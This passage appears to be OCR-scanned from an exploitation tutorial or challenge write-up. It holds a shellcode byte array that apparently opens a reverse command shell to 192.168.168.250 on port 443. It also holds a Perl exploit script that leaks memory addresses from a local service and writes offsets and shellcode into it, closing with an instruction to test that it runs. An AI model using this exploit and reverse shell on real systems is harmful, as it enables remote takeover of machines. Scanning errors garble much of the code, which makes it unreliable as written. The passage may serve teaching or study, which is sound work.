"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50"
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68"
"\xc0\xa8\xa8\xfa\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xab5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89"
"\xe3\x57\x57\x57\x31\xfe\x6a\x12\x59\x56\xe2\xfd\x66\xc7"
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50"
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d"
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff"
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
"\x6f\x6a\x00\x53\xff\xd5";

T N T

my Ssock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",

PeerPort => '12345"',

Proto => 'tcp',):

die "Error: $!\n" unless S$sock;



usleep (100000) ;
Ssock->recv ($Sdata, 1024) ;
print S$data;

$line = "READ 4\r\n";
print Ssock $line;
usleep (100000) ;

Ssock->recv ($p4,1024) ;
print $p4 . "\r\n";
usleep (100000) ;

$line = "READ 11\r\n";
print $sock $line;
usleep (100000) ;

Ssock->recv ($pll,1024);
print $pll . "\r\n";
usleep (100000) ;

$line = "READ 403\r\n";
print $sock $line;
usleep (100000) ;

$sock->recv ($p403,1024) ;
print $p403 . "\r\n";
usleep (100000) ;

Stmp = $pll - 163364;
$line = "VADD 0, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p403 - 286936;
$line = "VADD 5, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = -1;

$line = "VADD 9, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p403 - 286758;
$line = "VADD 10, $tmp\r\n";
print $sock $line;
print $line;
usleep (100000) ;



Stmp = $p4 - 108;

$line = "VADD 11, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = 500;

$line = "VADD 12, $Stmp\r\n";
print S$sock $line;

print $line;

usleep (100000) ;

Stmp = Sp4;

$line = "VADD 13, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

for (Scount=0; $count<78; $Scount++)
{
Stmp = 256*256*256*0ord (substr $buf, 4*Scount+3,1)
+ 256*256*ord (substr S$Sbuf, 4*Scount+2,1)
+ 256*ord(substr S$Sbuf, 4*Scount+l,1)
+ ord(substr Sbuf, 4*Scount+0,1);
if (Stmp>2147483647)
{
Stmp = Stmp - 4294967296
}
Spos = 14 + S$count;
$line = "VADD S$Spos, $tmp\r\n";
print Ssock $line;
print $line;
usleep (100000) ;
}

Stmp = 256*256*256*hex ("0x90")
+ 256*256*hex ("0x90")
+ 256*ord(substr Sbuf, 313,1)
+ ord(substr S$Sbuf, 312,1);
if (Stmp>2147483647)
{
Stmp = Stmp - 4294967296
}
Spos = 14 + 78;
$line = "VADD S$Spos, $tmp\r\n";
print $sock $line;
print $line;
usleep (100000) ;

Stmp = $pd - 164;

$line = "VADD -1, S$tmp\r\n";
print $sock $line;

print $line;



usleep (100000) ;

close ($sock) ;

And test if it runs (it should).
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